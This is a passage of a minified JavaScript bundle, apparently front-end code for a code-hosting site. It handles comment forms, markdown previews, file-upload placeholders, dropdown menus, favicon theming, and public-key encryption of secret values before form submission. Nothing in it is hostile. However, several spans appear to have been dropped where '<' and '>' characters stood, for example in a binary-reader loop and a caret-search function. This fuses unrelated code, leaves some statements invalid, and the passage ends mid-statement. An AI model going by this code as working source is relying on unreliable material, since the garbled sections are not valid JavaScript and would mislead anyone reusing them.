t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof Element&&Vn(t,!1)}s(ws,"blurred"),(0,j.ZG)(".js-comment-field",function(e){Vn(e,!0),e.addEventListener("blur",ws,{once:!0})});var Ee=f(40764),Es=f(52769),Bt=f(35889);const Ls=2303741511,js=4;class ot{static fromFile(t){return new Promise(function(n,o){const r=new FileReader;r.onload=function(){n(new ot(r.result))},r.onerror=function(){o(r.error)},r.readAsArrayBuffer(t)})}constructor(t){this.dataview=new DataView(t),this.pos=0}advance(t){this.pos+=t}readInt(t){const n=this,o=function(){switch(t){case 1:return n.dataview.getUint8(n.pos);case 2:return n.dataview.getUint16(n.pos);case 4:return n.dataview.getUint32(n.pos);default:throw new Error("bytes parameter must be 1, 2 or 4")}}();return this.advance(t),o}readChar(){return this.readInt(1)}readShort(){return this.readInt(2)}readLong(){return this.readInt(4)}readString(t){const n=[];for(let o=0;othis.coords.top+this.coords.height?1:0}xDistance(t){return Math.abs(this.left-t)}}s(Xn,"CaretPosition");function Le(e,t){let n;if(rt.has(e)?n=rt.get(e):(n=new Map,rt.set(e,n)),n.has(t))return n.get(t);{const o=new Xn(t,(0,As.Z)(e,t),e);return n.set(t,o),o}}s(Le,"fetchCaretCoords");const Xe=s((e,t,n,o,r,i)=>{if(n===t)return n;const a=s(S=>{const R=S.filter(I=>I.checkLine(r)===0).sort((I,F)=>I.xDistance(o)>F.xDistance(o)?1:-1);return R.length===0?n:R[0].index},"bestPosition");if(n-t===1){const S=Le(e,t),R=Le(e,n);return a([S,R])}if(n-t===2){const S=Le(e,t),R=Le(e,n-1),I=Le(e,n);return a([S,R,I])}const l=Math.floor((n+t)/2);if(l===t||l===n)return l;const y=Le(e,l);if(r>y.top+y.height)return Xe(e,l+1,n,o,r,i+1);if(ro?Le(e,l-1).checkLine(r)!==0?l:Xe(e,t,l-1,o,r,i+1):l},"binaryCursorSearch"),Cs=s((e,t,n)=>{const r=e.value.length-1;return Xe(e,0,r,t,n,0)},"findCursorPosition");function ks(e,t,n){const o=Cs(e,t,n);e.setSelectionRange(o,o)}s(ks,"setCursorPosition");function xs(e,t){const n=e.getBoundingClientRect();t.type==="dragenter"&&rt.delete(e);const o=t.clientX-n.left,r=t.clientY-n.top+e.scrollTop;ks(e,o,r)}s(xs,"caret_placement_updateCaret"),(0,u.N7)(".js-paste-markdown",{initialize(e){let t;return{add(){t=(0,Es.Ld)(e).unsubscribe},remove(){t()}}}});const $t=new WeakMap;function eu(e,t){$t.set(e,t)}s(eu,"cachePlaceholder");function Ms(e){return $t.get(e)||Zn(e)}s(Ms,"getPlaceholder");function Ft(e){return["video/mp4","video/quicktime"].includes(e.file.type)}s(Ft,"isVideo");function qs(e){return e.replace(/[[\]\\"<>&]/g,".").replace(/\.{2,}/g,".").replace(/^\.|\.$/gi,"")}s(qs,"parameterizeName");function Gn(e){return Ft(e)?` +Uploading ${e.file.name}\u2026 +`:`${e.isImage()?"!":""}[Uploading ${e.file.name}\u2026]()`}s(Gn,"placeholderText");function Rs(e){return qs(e).replace(/\.[^.]+$/,"").replace(/\./g," ")}s(Rs,"altText");const _s=72*2;function st(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!0}s(st,"disableSubmit");function it(e){const n=e.target.closest("form").querySelector(".btn-primary");n.disabled=!1}s(it,"enableSubmit");async function Ps(e){const{attachment:t}=e.detail,n=e.currentTarget;let o;t.isImage()?o=await Hs(t):Ft(t)?o=Ds(t):o=Is(t),Qn("",o,e,n)}s(Ps,"onUploadCompleted");function Is(e){return`[${e.file.name}](${e.href})`}s(Is,"mdLink");function Ds(e){return` +${e.href} +`}s(Ds,"videoMarkdown");async function Hs(e){const t=await Os(e.file),n=Rs(e.file.name),o=e.href;return t.ppi===_s?`${n}`:`![${n}](${o})`}s(Hs,"imageTag");async function Os(e){var t;const n={width:0,height:0,ppi:0};try{return(t=await Ts(e))!=null?t:n}catch{return n}}s(Os,"imageSize");function Zn(e){const t=Gn(e);return Ft(e)?` +${t} +`:`${t} +`}s(Zn,"replacementText");function Jn(e){const t=e.currentTarget.querySelector(".js-comment-field"),n=Ms(e.detail.attachment);if(t)t.setCustomValidity(""),(0,Ee.lp)(t,n,"");else{const r=(0,Bt.P)(e.currentTarget.querySelector(".js-code-editor")).editor.getSearchCursor(n);r.findNext(),r.replace("")}}s(Jn,"removeFailedUpload");function Qn(e,t,n,o){const r=(o||n.currentTarget).querySelector(".js-comment-field"),i=(o||n.currentTarget).querySelector(".js-file-upload-loading-text"),a=Gn(n.detail.attachment),{batch:l}=n.detail;if(r){const y=r.value.substring(r.selectionStart,r.selectionEnd);if(e==="uploading"){let w;y.length?w=(0,Ee.t4)(r,y,a):w=(0,Ee.Om)(r,a,{appendNewline:!0}),$t.set(n.detail.attachment,w)}else(0,Ee.lp)(r,a,t);l.isFinished()?it(n):st(n)}else{const y=(0,Bt.P)((o||n.currentTarget).querySelector(".js-code-editor")).editor;if(e==="uploading")if(y.getSelection().length)y.replaceSelection(a);else{const w=y.getCursor(),S=Zn(n.detail.attachment);y.replaceRange(S,w)}else{const w=y.getSearchCursor(a);w.findNext(),w.replace(t)}l.isFinished()?it(n):st(n)}if(i){const y=i.getAttribute("data-file-upload-message");i.textContent=`${y} (${l.uploaded()+1}/${l.size})`}}s(Qn,"setValidityAndLinkText"),(0,c.on)("upload:setup",".js-upload-markdown-image",function(e){Qn("uploading","",e)}),(0,c.on)("upload:complete",".js-upload-markdown-image",Ps),(0,c.on)("upload:error",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});function Yn(e){var t;e.stopPropagation();const n=e.currentTarget;if(!n)return;const o=n.querySelector(".js-comment-field");if(o)xs(o,e);else{const r=(t=(0,Bt.P)(n.querySelector(".js-code-editor")))==null?void 0:t.editor;if(r){const i=r.coordsChar({left:e.pageX,top:e.pageY});r.setCursor(i)}}}s(Yn,"updateCursor");const tu=s(e=>{const t=e.currentTarget,n=t.getBoundingClientRect(),o=e.clientX-n.left,r=e.clientY-n.top+t.scrollTop;console.log({x:o,y:r,cursor:t.selectionStart,t:t.value.substring(t.selectionStart-10,t.selectionStart)});const i=new DragEvent("dragenter",{clientX:e.clientX,clientY:e.clientY});updateCaret(t,i)},"debugUpdateCaret");(0,c.on)("dragenter","file-attachment",Yn),(0,c.on)("dragover","file-attachment",Yn),(0,c.on)("upload:invalid",".js-upload-markdown-image",function(e){Jn(e);const{batch:t}=e.detail;t.isFinished()?it(e):st(e)});var Ut=f(29501),qe=f(15205);function Ns(e){const t=e.querySelector(".js-data-preview-url-csrf"),n=e.closest("form").elements.namedItem("authenticity_token");if(t instanceof HTMLInputElement)return t.value;if(n instanceof HTMLInputElement)return n.value;throw new Error("Comment preview authenticity token not found")}s(Ns,"token");function Wt(e){const t=e.closest(".js-previewable-comment-form"),n=e.classList.contains("js-preview-tab");if(n){const i=t.querySelector(".js-write-bucket"),a=t.querySelector(".js-preview-body");i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`)}t.classList.toggle("preview-selected",n),t.classList.toggle("write-selected",!n);const o=t.querySelector('.tabnav-tab.selected, .tabnav-tab[aria-selected="true"]');o.setAttribute("aria-selected","false"),o.classList.remove("selected"),e.classList.add("selected"),e.setAttribute("aria-selected","true");const r=t.querySelector(".js-write-tab");return n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof 